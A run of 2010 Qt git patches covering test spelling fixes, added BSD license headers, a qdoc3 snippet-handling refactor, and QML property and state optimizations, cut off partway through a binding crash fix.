a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistantAttachedObject.qml +++ /dev/null @@ -1,5 +0,0 @@ -import Qt.test 1.0 - -MyQmlObject { - stringProperty: MyQmlContainer.prop -} diff --git a/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml new file mode 100644 index 0000000..f9585db --- /dev/null +++ b/tests/auto/declarative/qdeclarativeecmascript/data/nonExistentAttachedObject.qml @@ -0,0 +1,5 @@ +import Qt.test 1.0 + +MyQmlObject { + stringProperty: MyQmlContainer.prop +} diff --git a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp index 77fab91..4228bc4 100644 --- a/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp +++ b/tests/auto/declarative/qdeclarativeecmascript/tst_qdeclarativeecmascript.cpp @@ -105,7 +105,7 @@ private slots: void constantsOverrideBindings(); void outerBindingOverridesInnerBinding(); void aliasPropertyAndBinding(); - void nonExistantAttachedObject(); + void nonExistentAttachedObject(); void scope(); void signalParameterTypes(); void objectsCompareAsEqual(); @@ -643,7 +643,7 @@ void tst_qdeclarativeecmascript::attachedProperties() void tst_qdeclarativeecmascript::enums() { - // Existant enums + // Existent enums { QDeclarativeComponent component(&engine, TEST_FILE("enums.1.qml")); QObject *object = component.create(); @@ -785,9 +785,9 @@ Access a non-existent attached object. Tests for a regression where this used to crash. */ -void tst_qdeclarativeecmascript::nonExistantAttachedObject() +void tst_qdeclarativeecmascript::nonExistentAttachedObject() { - QDeclarativeComponent component(&engine, TEST_FILE("nonExistantAttachedObject.qml")); + QDeclarativeComponent component(&engine, TEST_FILE("nonExistentAttachedObject.qml")); QString warning = component.url().toString() + ":4: Unable to assign [undefined] to QString stringProperty"; QTest::ignoreMessage(QtWarningMsg, qPrintable(warning)); diff --git a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp index 4470d65..304ce61 100644 --- a/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp +++ b/tests/auto/declarative/qdeclarativeinstruction/tst_qdeclarativeinstruction.cpp @@ -512,7 +512,7 @@ void tst_qdeclarativeinstruction::dump() { QDeclarativeInstruction i; i.line = 50; - i.type = (QDeclarativeInstruction::Type)(1234); // Non-existant + i.type = (QDeclarativeInstruction::Type)(1234); // Non-existent data->bytecode << i; } diff --git a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp index 50463b7..6410853 100644 --- a/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp +++ b/tests/auto/declarative/qdeclarativelanguage/tst_qdeclarativelanguage.cpp @@ -947,7 +947,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("value", QVariant(13)); QCOMPARE(object->property("valueAlias").toInt(), 13); - // Write throught alias + // Write through alias object->setProperty("valueAlias", QVariant(19)); QCOMPARE(object->property("valueAlias").toInt(), 19); QCOMPARE(object->property("value").toInt(), 19); @@ -1109,7 +1109,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("rectProperty", QVariant(QRect(33, 12, 99, 100))); QCOMPARE(object->property("valueAlias").toRect(), QRect(33, 12, 99, 100)); - // Write throught alias + // Write through alias object->setProperty("valueAlias", QVariant(QRect(3, 3, 4, 9))); QCOMPARE(object->property("valueAlias").toRect(), QRect(3, 3, 4, 9)); QCOMPARE(object->property("rectProperty").toRect(), QRect(3, 3, 4, 9)); @@ -1129,7 +1129,7 @@ void tst_qdeclarativelanguage::aliasProperties() object->setProperty("rectProperty", QVariant(QRect(33, 8, 102, 111))); QCOMPARE(object->property("aliasProperty").toInt(), 33); - // Write throught alias + // Write through alias object->setProperty("aliasProperty", QVariant(4)); QCOMPARE(object->property("aliasProperty").toInt(), 4); QCOMPARE(object->property("rectProperty").toRect(), QRect(4, 8, 102, 111)); -- cgit v0.12 From ee4a2417950dc9b411660fa229908619eff956a2 Mon Sep 17 00:00:00 2001 From: Martin Jones Date: Mon, 20 Dec 2010 15:42:52 +1000 Subject: Add copyright header --- .../touchinteraction/pincharea/flickresize.qml | 40 ++++++++++++++++++++++ 1 file changed, 40 insertions(+) diff --git a/examples/declarative/touchinteraction/pincharea/flickresize.qml b/examples/declarative/touchinteraction/pincharea/flickresize.qml index 8034e29..8f29d6d 100644 --- a/examples/declarative/touchinteraction/pincharea/flickresize.qml +++ b/examples/declarative/touchinteraction/pincharea/flickresize.qml @@ -1,3 +1,43 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the examples of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ + import QtQuick 1.1 Rectangle { -- cgit v0.12 From 6b37f71b318445a338c4afe5ba8a5ccaff573518 Mon Sep 17 00:00:00 2001 From: Joona Petrell Date: Mon, 20 Dec 2010 17:04:41 +1000 Subject: Update Minehunt demo warning message The message was talking about a C++ plugin when the demo is nowadays in a form of a standalone executable. Task-number: Reviewed-by: Bea Lam --- demos/declarative/minehunt/minehunt.qml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/demos/declarative/minehunt/minehunt.qml b/demos/declarative/minehunt/minehunt.qml index eb67b06..88ecd6d 100644 --- a/demos/declarative/minehunt/minehunt.qml +++ b/demos/declarative/minehunt/minehunt.qml @@ -104,7 +104,7 @@ Item { anchors.centerIn: parent; width: parent.width - 20 horizontalAlignment: Text.AlignHCenter wrapMode: Text.WordWrap - text: "Minehunt will not run properly if the C++ plugin is not compiled.\n\nPlease see README." + text: "Minehunt demo has to be compiled to run.\n\nPlease see README." color: "white"; font.bold: true; font.pixelSize: 14 visible: tiles == undefined } -- cgit v0.12 From d491aee7887331e6b1207e647f4d2ee3f43efacd Mon Sep 17 00:00:00 2001 From: Jerome Pasion Date: Mon, 20 Dec 2010 10:41:18 +0100 Subject: Added BSD license to snippet code. --- doc/src/snippets/declarative/focus/focusColumn.qml | 39 ++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/doc/src/snippets/declarative/focus/focusColumn.qml b/doc/src/snippets/declarative/focus/focusColumn.qml index eb59309..9b761dd 100644 --- a/doc/src/snippets/declarative/focus/focusColumn.qml +++ b/doc/src/snippets/declarative/focus/focusColumn.qml @@ -1,3 +1,42 @@ +/**************************************************************************** +** +** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies). +** All rights reserved. +** Contact: Nokia Corporation (qt-info@nokia.com) +** +** This file is part of the FOO module of the Qt Toolkit. +** +** $QT_BEGIN_LICENSE:BSD$ +** You may use this file under the terms of the BSD license as follows: +** +** "Redistribution and use in source and binary forms, with or without +** modification, are permitted provided that the following conditions are +** met: +** * Redistributions of source code must retain the above copyright +** notice, this list of conditions and the following disclaimer. +** * Redistributions in binary form must reproduce the above copyright +** notice, this list of conditions and the following disclaimer in +** the documentation and/or other materials provided with the +** distribution. +** * Neither the name of Nokia Corporation and its Subsidiary(-ies) nor +** the names of its contributors may be used to endorse or promote +** products derived from this software without specific prior written +** permission. +** +** THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS +** "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT +** LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR +** A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT +** OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, +** SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT +** LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +** DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +** THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +** (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE +** OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE." +** $QT_END_LICENSE$ +** +****************************************************************************/ import QtQuick 1.0 Rectangle { -- cgit v0.12 From 382b359f2c014d8ce353845579508a8c54410c7f Mon Sep 17 00:00:00 2001 From: David Boddie Date: Mon, 20 Dec 2010 16:08:57 +0100 Subject: Fixed handling of indented snippet markers. Refactored the code to remove namespace macros and snippet markers. --- tools/qdoc3/quoter.cpp | 56 +++++++++++++++++++++++--------------------------- tools/qdoc3/quoter.h | 1 + 2 files changed, 27 insertions(+), 30 deletions(-) diff --git a/tools/qdoc3/quoter.cpp b/tools/qdoc3/quoter.cpp index 84c6fb1..8e08e9a 100644 --- a/tools/qdoc3/quoter.cpp +++ b/tools/qdoc3/quoter.cpp @@ -248,21 +248,8 @@ QString Quoter::quoteSnippet(const Location &docLocation, const QString &identif } return t; } - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) { - // Ordinary code - t += getLine(); - } else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + + t += removeSpecialLines(line, comment); } failedAtEnd(docLocation, QString("snippet (%1)").arg(delimiter)); return t; @@ -277,21 +264,7 @@ QString Quoter::quoteTo( const Location& docLocation, const QString& command, if ( pattern.isEmpty() ) { while ( !plainLines.isEmpty() ) { QString line = plainLines.first(); - // Remove special macros to support Qt namespacing. - if (line.startsWith("QT_BEGIN_NAMESPACE")) { - getLine(); - } else if (line.startsWith("QT_END_NAMESPACE")) { - getLine(); - t += QLatin1Char('\n'); - } else if (!line.startsWith(comment)) - // Ordinary code - t += getLine(); - else { - // Normal comments - if (line.contains(QLatin1Char('\n'))) - t += QLatin1Char('\n'); - getLine(); - } + t += removeSpecialLines(line, comment); } } else { while ( !plainLines.isEmpty() ) { @@ -369,4 +342,27 @@ QString Quoter::commentForCode() const return commentHash.value(suffix, "//!"); } +QString Quoter::removeSpecialLines(const QString &line, const QString &comment) +{ + QString t; + + // Remove special macros to support Qt namespacing. + QString trimmed = line.trimmed(); + if (trimmed.startsWith("QT_BEGIN_NAMESPACE")) { + getLine(); + } else if (trimmed.startsWith("QT_END_NAMESPACE")) { + getLine(); + t += QLatin1Char('\n'); + } else if (!trimmed.startsWith(comment)) { + // Ordinary code + t += getLine(); + } else { + // Comments + if (line.contains(QLatin1Char('\n'))) + t += QLatin1Char('\n'); + getLine(); + } + return t; +} + QT_END_NAMESPACE diff --git a/tools/qdoc3/quoter.h b/tools/qdoc3/quoter.h index d984194..e1728d1 100644 --- a/tools/qdoc3/quoter.h +++ b/tools/qdoc3/quoter.h @@ -75,6 +75,7 @@ private: bool match( const Location& docLocation, const QString& pattern, const QString& line ); QString commentForCode() const; + QString removeSpecialLines(const QString &line, const QString &comment); bool silent; bool validRegExp; -- cgit v0.12 From 1476bf8d45b4f1ab6c56770939eb81c4c1b390ad Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Mon, 20 Dec 2010 14:29:19 +1000 Subject: Optimize name lookup for QDeclarativeProperty. If the property is constructed by passing in the property name (and we've verified that it is valid), we can cache that name immediately rather than reconstructing it on the first call to name(). Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- src/declarative/qml/qdeclarativeproperty.cpp | 2 ++ 1 file changed, 2 insertions(+) diff --git a/src/declarative/qml/qdeclarativeproperty.cpp b/src/declarative/qml/qdeclarativeproperty.cpp index 60edd64..8eaa98b 100644 --- a/src/declarative/qml/qdeclarativeproperty.cpp +++ b/src/declarative/qml/qdeclarativeproperty.cpp @@ -315,6 +315,8 @@ void QDeclarativePropertyPrivate::initProperty(QObject *obj, const QString &name if (property && !(property->flags & QDeclarativePropertyCache::Data::IsFunction)) { object = currentObject; core = *property; + nameCache = terminal; + isNameCached = true; } } -- cgit v0.12 From a764a0b5d66e13fb69a5b69330c5edfecf89ee8b Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 21 Dec 2010 08:53:00 +1000 Subject: Optimize QByteArray to QString conversion in PropertyChanges. Perform the conversion once at compile time, rather than many times later. Task-number: QTBUG-15331 Reviewed-by: Martin Jones --- .../util/qdeclarativepropertychanges.cpp | 72 +++++++++++----------- .../util/qdeclarativepropertychanges_p.h | 18 +++--- src/declarative/util/qdeclarativestate.cpp | 24 ++++---- src/declarative/util/qdeclarativestate_p.h | 12 ++-- 4 files changed, 62 insertions(+), 64 deletions(-) diff --git a/src/declarative/util/qdeclarativepropertychanges.cpp b/src/declarative/util/qdeclarativepropertychanges.cpp index 400803e..6737382 100644 --- a/src/declarative/util/qdeclarativepropertychanges.cpp +++ b/src/declarative/util/qdeclarativepropertychanges.cpp @@ -220,12 +220,12 @@ public: void decode(); - QList > properties; - QList > expressions; + QList > properties; + QList > expressions; QList ids; QList signalReplacements; - QDeclarativeProperty property(const QByteArray &); + QDeclarativeProperty property(const QString &); }; void @@ -293,7 +293,7 @@ QDeclarativePropertyChangesParser::compile(const QList> count; for (int ii = 0; ii < count; ++ii) { - QByteArray name; + QString name; bool isScript; QVariant data; QDeclarativeBinding::Identifier id; @@ -405,15 +405,15 @@ void QDeclarativePropertyChanges::setRestoreEntryValues(bool v) } QDeclarativeProperty -QDeclarativePropertyChangesPrivate::property(const QByteArray &property) +QDeclarativePropertyChangesPrivate::property(const QString &property) { Q_Q(QDeclarativePropertyChanges); - QDeclarativeProperty prop(object, QString::fromUtf8(property), qmlContext(q)); + QDeclarativeProperty prop(object, property, qmlContext(q)); if (!prop.isValid()) { - qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(QString::fromUtf8(property)); + qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to non-existent property \"%1\"").arg(property); return QDeclarativeProperty(); } else if (!(prop.type() & QDeclarativeProperty::SignalProperty) && !prop.isWritable()) { - qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(QString::fromUtf8(property)); + qmlInfo(q) << QDeclarativePropertyChanges::tr("Cannot assign to read-only property \"%1\"").arg(property); return QDeclarativeProperty(); } return prop; @@ -429,9 +429,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->properties.count(); ++ii) { - QByteArray property = d->properties.at(ii).first; - - QDeclarativeAction a(d->object, QString::fromUtf8(property), + QDeclarativeAction a(d->object, d->properties.at(ii).first, qmlContext(this), d->properties.at(ii).second); if (a.property.isValid()) { @@ -453,7 +451,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() for (int ii = 0; ii < d->expressions.count(); ++ii) { - QByteArray property = d->expressions.at(ii).first; + const QString &property = d->expressions.at(ii).first; QDeclarativeProperty prop = d->property(property); if (prop.isValid()) { @@ -462,7 +460,7 @@ QDeclarativePropertyChanges::ActionList QDeclarativePropertyChanges::actions() a.property = prop; a.fromValue = a.property.read(); a.specifiedObject = d->object; - a.specifiedProperty = QString::fromUtf8(property); + a.specifiedProperty = property; if (d->isExplicit) { a.toValue = d->expressions.at(ii).second->evaluate(); @@ -518,10 +516,10 @@ void QDeclarativePropertyChanges::setIsExplicit(bool e) d->isExplicit = e; } -bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsValue(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; + typedef QPair PropertyEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -534,10 +532,10 @@ bool QDeclarativePropertyChanges::containsValue(const QByteArray &name) const return false; } -bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsExpression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QPair ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -550,16 +548,16 @@ bool QDeclarativePropertyChanges::containsExpression(const QByteArray &name) con return false; } -bool QDeclarativePropertyChanges::containsProperty(const QByteArray &name) const +bool QDeclarativePropertyChanges::containsProperty(const QString &name) const { return containsValue(name) || containsExpression(name); } -void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVariant &value) +void QDeclarativePropertyChanges::changeValue(const QString &name, const QVariant &value) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -596,7 +594,7 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar action.property = d->property(name); action.fromValue = action.property.read(); action.specifiedObject = object(); - action.specifiedProperty = QString::fromUtf8(name); + action.specifiedProperty = name; action.toValue = value; propertyIterator.insert(PropertyEntry(name, value)); @@ -609,11 +607,11 @@ void QDeclarativePropertyChanges::changeValue(const QByteArray &name, const QVar } } -void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const QString &expression) +void QDeclarativePropertyChanges::changeExpression(const QString &name, const QString &expression) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; bool hadValue = false; @@ -667,7 +665,7 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const action.property = d->property(name); action.fromValue = action.property.read(); action.specifiedObject = object(); - action.specifiedProperty = QString::fromUtf8(name); + action.specifiedProperty = name; if (d->isExplicit) { @@ -690,11 +688,11 @@ void QDeclarativePropertyChanges::changeExpression(const QByteArray &name, const // what about the signal handler? } -QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const +QVariant QDeclarativePropertyChanges::property(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -715,11 +713,11 @@ QVariant QDeclarativePropertyChanges::property(const QByteArray &name) const return QVariant(); } -void QDeclarativePropertyChanges::removeProperty(const QByteArray &name) +void QDeclarativePropertyChanges::removeProperty(const QString &name) { Q_D(QDeclarativePropertyChanges); - typedef QPair PropertyEntry; - typedef QPair ExpressionEntry; + typedef QPair PropertyEntry; + typedef QPair ExpressionEntry; QMutableListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { @@ -742,10 +740,10 @@ void QDeclarativePropertyChanges::removeProperty(const QByteArray &name) } } -QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const +QVariant QDeclarativePropertyChanges::value(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair PropertyEntry; + typedef QPair PropertyEntry; QListIterator propertyIterator(d->properties); while (propertyIterator.hasNext()) { @@ -758,10 +756,10 @@ QVariant QDeclarativePropertyChanges::value(const QByteArray &name) const return QVariant(); } -QString QDeclarativePropertyChanges::expression(const QByteArray &name) const +QString QDeclarativePropertyChanges::expression(const QString &name) const { Q_D(const QDeclarativePropertyChanges); - typedef QPair ExpressionEntry; + typedef QPair ExpressionEntry; QListIterator expressionIterator(d->expressions); while (expressionIterator.hasNext()) { diff --git a/src/declarative/util/qdeclarativepropertychanges_p.h b/src/declarative/util/qdeclarativepropertychanges_p.h index 449574c..1a98cec 100644 --- a/src/declarative/util/qdeclarativepropertychanges_p.h +++ b/src/declarative/util/qdeclarativepropertychanges_p.h @@ -75,19 +75,19 @@ public: virtual ActionList actions(); - bool containsProperty(const QByteArray &name) const; - bool containsValue(const QByteArray &name) const; - bool containsExpression(const QByteArray &name) const; - void changeValue(const QByteArray &name, const QVariant &value); - void changeExpression(const QByteArray &name, const QString &expression); - void removeProperty(const QByteArray &name); - QVariant value(const QByteArray &name) const; - QString expression(const QByteArray &name) const; + bool containsProperty(const QString &name) const; + bool containsValue(const QString &name) const; + bool containsExpression(const QString &name) const; + void changeValue(const QString &name, const QVariant &value); + void changeExpression(const QString &name, const QString &expression); + void removeProperty(const QString &name); + QVariant value(const QString &name) const; + QString expression(const QString &name) const; void detachFromState(); void attachToState(); - QVariant property(const QByteArray &name) const; + QVariant property(const QString &name) const; }; class QDeclarativePropertyChangesParser : public QDeclarativeCustomParser diff --git a/src/declarative/util/qdeclarativestate.cpp b/src/declarative/util/qdeclarativestate.cpp index 6925e03..cde6f00 100644 --- a/src/declarative/util/qdeclarativestate.cpp +++ b/src/declarative/util/qdeclarativestate.cpp @@ -370,7 +370,7 @@ void QDeclarativeAction::deleteFromBinding() } } -bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByteArray &name) const +bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -379,7 +379,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return true; } } @@ -387,7 +387,7 @@ bool QDeclarativeState::containsPropertyInRevertList(QObject *target, const QByt return false; } -bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue) +bool QDeclarativeState::changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue) { Q_D(QDeclarativeState); @@ -396,7 +396,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) { + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { simpleAction.setValue(revertValue); return true; } @@ -406,7 +406,7 @@ bool QDeclarativeState::changeValueInRevertList(QObject *target, const QByteArra return false; } -bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding) +bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding) { Q_D(QDeclarativeState); @@ -415,7 +415,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) { + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) { if (simpleAction.binding()) simpleAction.binding()->destroy(); @@ -428,7 +428,7 @@ bool QDeclarativeState::changeBindingInRevertList(QObject *target, const QByteAr return false; } -bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteArray &name) +bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QString &name) { Q_D(QDeclarativeState); @@ -437,7 +437,7 @@ bool QDeclarativeState::removeEntryFromRevertList(QObject *target, const QByteAr while (revertListIterator.hasNext()) { QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.property().object() == target && simpleAction.property().name().toUtf8() == name) { + if (simpleAction.property().object() == target && simpleAction.property().name() == name) { QDeclarativeAbstractBinding *oldBinding = QDeclarativePropertyPrivate::binding(simpleAction.property()); if (oldBinding) { QDeclarativePropertyPrivate::setBinding(simpleAction.property(), 0); @@ -517,7 +517,7 @@ void QDeclarativeState::addEntriesToRevertList(const QList & } } -QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray &name) const +QVariant QDeclarativeState::valueInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -526,7 +526,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return simpleAction.value(); } } @@ -534,7 +534,7 @@ QVariant QDeclarativeState::valueInRevertList(QObject *target, const QByteArray return QVariant(); } -QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QByteArray &name) const +QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *target, const QString &name) const { Q_D(const QDeclarativeState); @@ -543,7 +543,7 @@ QDeclarativeAbstractBinding *QDeclarativeState::bindingInRevertList(QObject *tar while (revertListIterator.hasNext()) { const QDeclarativeSimpleAction &simpleAction = revertListIterator.next(); - if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty().toUtf8() == name) + if (simpleAction.specifiedObject() == target && simpleAction.specifiedProperty() == name) return simpleAction.binding(); } } diff --git a/src/declarative/util/qdeclarativestate_p.h b/src/declarative/util/qdeclarativestate_p.h index 7b9c18a..dd43a50 100644 --- a/src/declarative/util/qdeclarativestate_p.h +++ b/src/declarative/util/qdeclarativestate_p.h @@ -180,15 +180,15 @@ public: QDeclarativeStateGroup *stateGroup() const; void setStateGroup(QDeclarativeStateGroup *); - bool containsPropertyInRevertList(QObject *target, const QByteArray &name) const; - bool changeValueInRevertList(QObject *target, const QByteArray &name, const QVariant &revertValue); - bool changeBindingInRevertList(QObject *target, const QByteArray &name, QDeclarativeAbstractBinding *binding); - bool removeEntryFromRevertList(QObject *target, const QByteArray &name); + bool containsPropertyInRevertList(QObject *target, const QString &name) const; + bool changeValueInRevertList(QObject *target, const QString &name, const QVariant &revertValue); + bool changeBindingInRevertList(QObject *target, const QString &name, QDeclarativeAbstractBinding *binding); + bool removeEntryFromRevertList(QObject *target, const QString &name); void addEntryToRevertList(const QDeclarativeAction &action); void removeAllEntriesFromRevertList(QObject *target); void addEntriesToRevertList(const QList &actions); - QVariant valueInRevertList(QObject *target, const QByteArray &name) const; - QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QByteArray &name) const; + QVariant valueInRevertList(QObject *target, const QString &name) const; + QDeclarativeAbstractBinding *bindingInRevertList(QObject *target, const QString &name) const; bool isStateActive() const; -- cgit v0.12 From 3468ee1a47bc646fe2af5de38425ee917ea92f59 Mon Sep 17 00:00:00 2001 From: Michael Brasser Date: Tue, 21 Dec 2010 13:52:44 +1000 Subject: Fix potential crash in PropertyChanges binding rewrite handling. This fixes the autotest regression for tst_qdeclarativestates::editProperties introduced by 488e616b50707e5b37162e6d0cfc71a1ffdf9bef. Reviewed-by: Joona Petrell --- src/declarative/qml/qdeclarativebinding.cpp | 5 ++ src/declarative/qml/qdeclarativebinding_p.h | 1 + .../util/qdeclarativepropertychanges.cpp | 63 ++++++++++++---------- 3 files changed, 42 insertions(+), 27 deletions(-) diff --git a/src/declarative/qml/qdeclarativebinding.cpp b/src/declarative/qml/qdeclarativebinding.cpp index 1ead6ce..223d057 100644 --- a/src/declarative/qml/qdeclarativebinding.cpp +++ b/src/declarative/qml/qdeclarativebinding.cpp @@ -209,6 +209,8 @@ void QDeclarativeAbstractBinding::setEnabled(bool enabled, QDeclarativePropertyP if (enabled) update(flags); } +QDeclarativeBinding::Identifier QDeclarativeBinding::Invalid = -1; + void QDeclarativeBindingPrivate::refresh() { Q_Q(QDeclarativeBinding); @@ -238,6 +240,9 @@ QDeclarativeBinding * QDeclarativeBinding::createBinding(Identifier id, QObject *obj, QDeclarativeContext *ctxt, const QString &url, int lineNumber, QObject *parent) { + if (id < 0) + return 0; + QDeclarativeContextData *ctxtdata = QDeclarativeContextData::get(ctxt); QDeclarativeEnginePrivate *engine = 